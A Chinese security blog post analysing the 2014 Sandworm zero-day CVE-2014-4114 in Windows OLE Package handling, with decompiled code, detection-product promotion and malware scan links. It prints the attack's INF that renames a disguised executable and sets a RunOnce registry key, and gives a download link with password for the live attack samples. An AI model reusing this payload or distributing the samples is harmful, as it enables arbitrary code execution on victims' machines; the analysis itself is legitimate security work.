SANDWORM APT Windows OLE PACKAGE INF 0day来袭

2014-10-15 7,738

 

1111

 

 

 

 

 

 

 

 

版本更新:
v1.0 2014/10/14 22:01 发布第一版
v1.1 2014/10/14 22:48 增加漏洞细节
v1.2 2014/10/15 08:50 增加了攻击演示视频


简介

下午就听说马上要发生大事了,而且是2件大事凑在了一块,令不少安全响应的朋友吓一跳,一个是据说明天发布的windows上面的sslv3出现问题比上次的心脏出血漏洞还要严重,明天各位小伙伴们可能要继续应急了。
SSLV3漏洞相关

第二个是明天发布补丁的windows 所有平台都可以触发的 OLE包管理INF 任意代码执行漏洞,CVE-2014-4114。该漏洞影响win vista,win7等以上操作系统,利用微软文档就可以触发该漏洞,而且该漏洞为逻辑漏洞,

很容易利用成功。当前样本已经扩散且容易改造被黑客二次利用。预计微软补丁今晚凌晨才能出来,翰海源提醒用户在此期间注意不要打开陌生人发送的office文档。

事件信息

该漏洞最先是从iSIGHT Partners厂商发布的公告上宣称发现了新的0day用于俄罗斯用在搞北约的APT攻击中,并命名SandWorm
iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign

样本为PPS 类型,打开之后自动播放直接触发利用成功。

2

从virustotal的链接来看 第一次的提交时间是在8月13号,已经在外面漂泊起码2个月以上

3

Virustotal

样本一开始在virustotal上面所有的杀毒软件都检测不到,

4

该漏洞本身的载体文件无需任何shellcode、内嵌木马,若只基于检测这些点的扫描引擎、安全设备则无能为力。从这里也可以看出单纯的杀毒软件 防护无法阻止高级威胁的0day样本攻击,必须从整个攻击的生命周期进行检测。世界上只有10种人,一种是知道自己被黑了,一种是不知道自己被黑了(小编好奇其他8种干嘛去了)。

当然了,加特征还是可以的,比如2个小时左右,这不国内的2家死对头公司纷纷更新了规则,成了榜上的一对好基友,不过这个Generic总觉得哪里不对啊。

5

攻击样本解压之后可以看到embeddings\oleObject2.bin只包含一串webdav的路径
该路径为触发的核心

6

 

 

 

 

 

 

 

 

 

embeddings\oleObject1.bin 包含了具体马的路径

7

 

 

 

 

 

 

 

 

 

 

当前这个地址还是活的,不过只能通过vpn去连接,可以下载到里面的一些其他攻击文件

SP小编提供百度Pan的

http://pan.baidu.com/s/13x4tC

 解压密码   !qazxsw23edc

8

 

 

 

 

 

 

漏洞细节

经过初步分析,该漏洞内嵌2个OLE对象,一个为gif(其实为木马),另一个inf,在加载OLE PACKAGE时,遇到gif时调用CPackage__DoVerb去识别对应的操作

gif对应的第二个参数是-2,直接跳走。遇到inf时,第二个参数值为3,触发CPackage__DoVerb去调用下面相关代码

v23 = CPackage__GetContextMenu(&v21);
if ( v23 >= 0 )
{
hMenu = CreatePopupMenu();
if ( hMenu )
{                                           // {SHELL32!CDefFolderMenu::QueryContextMenu (75e0baf7)}
v23 = (*(int (__stdcall **)(int, HMENU, _DWORD, signed int, unsigned int, _DWORD))(*(_DWORD *)v21 + 12))(
v21,
hMenu,
0,
2,
0xFFFFu,
0);
if ( v23 >= 0 )
{
mii.cbSize = 48;
mii.fMask = 2;
if ( GetMenuItemInfoW(hMenu, v7 - 2, 1, &mii) )
{
if ( *(_DWORD *)(a1 + 48) == 3 )
v23 = CPackage__CreateTempFile(0);
if ( v23 >= 0 )
{
v16 = mii.wID - 2;
v13 = 0x24u;
v14 = 0;
v15 = 0;
v17 = 0;
v18 = 0;
v19 = 1;                            // {SHELL32!CDefFolderMenu::InvokeCommand (75df030d)}
v23 = (*(int (__stdcall **)(int, unsigned int *))(*(_DWORD *)v21 + 0x10))(v21, &v13);
}
}
else
{
v23 = 0x40181u;
}
}
DestroyMenu(hMenu);
}
else
{
v23 = -2147024882;
}
(*(void (__stdcall **)(int))(*(_DWORD *)v21 + 8))(v21);
}
return v23;
}

上述代码即是实现我们常见的对inf文件右键弹出菜单项点击安装的操作,inf文件通过右键点安装既可以按照inf文件里面内容规定的操作如文件拷贝、注册表修改等操作。

右键安装最终执行的程序是C:\Windows\System32\InfDefaultInstall.exe 参数为要安装的inf文件。此次攻击样本中的inf通过构造

1
2
3
4
5
6
7
8
[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart
[RxRename]
slide1.gif.exe, slide1.gif#将slide1.gif改名成slide1.gif.exe
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.gif.exe

这样的一个特定的inf,让其修改Runonce注册表,下次启动即会加载同目录下面的slide1.gif.exe文件,从而造成了远程任意代码执行。

漏洞攻击演示

9


 

 

 

 

 

 

 

 

 

相关信息

该漏洞的利用可以结合7月28号 麦咖啡发的一篇blog
Dropping Files Into Temp Folder Raises Security Concerns
一起看。上面介绍到了一个rtf样本利用package activex control,在打开这个rtf文件时,会在当前用户的临时目录下创建任意名称指定内容的文件。麦咖啡也提到了这可能是一个潜在的风险,特定情况下会造成恶意代码的加载执行。
如果能随机化这个路径名,那么此次0day攻击中的样本通过inf的方式也比较难利用。

星云检测

翰海源星云V2多维度威胁检测系统靠多个维度来检测高级威胁,此次攻击中虽然攻击样本本身很难检测到,但是其一系列的后续执行星云都可以检测到。如此次攻击中的slide1.gif 木马,星云系统的沙箱无需任何更新及可以检测到。

10

各位小伙伴可以查看文件B超上面的检测结果
https://www.b-chao.com/index.php/Index/show_detail/Sha1/61A6D618BB311395D0DB3A5699A1AB416A39D85B

11

 

 

 

 

 

 

 

 

服务器上面其他的木马文件的检测结果 如 default.txt
https://www.b-chao.com/index.php/Index/show_detail/Sha1/4D4334FF0545717B3ADC165AB6748DCE82098D97
view.ph
https://www.b-chao.com/index.php/Index/show_detail/Sha1/118206D910F0036357B04C154DA8966BCCCD31B4

同时该样本的攻击方式中也会命中星云系统的另一个检测算法(高级攻击中常用的,暂不透露啦)

同时翰海源安全团队也及时响应,发布了星云对该CVE的NDAY检测规则,该漏的的利用方式的样本通过该升级包升级之后也可以直接检测到。

12

 

FROM: SANDWORM APT Windows OLE PACKAGE INF 0day来袭

本文作者:SP小编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/1397.html

Tags:
评论  (0)
快来写下你的想法吧!

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号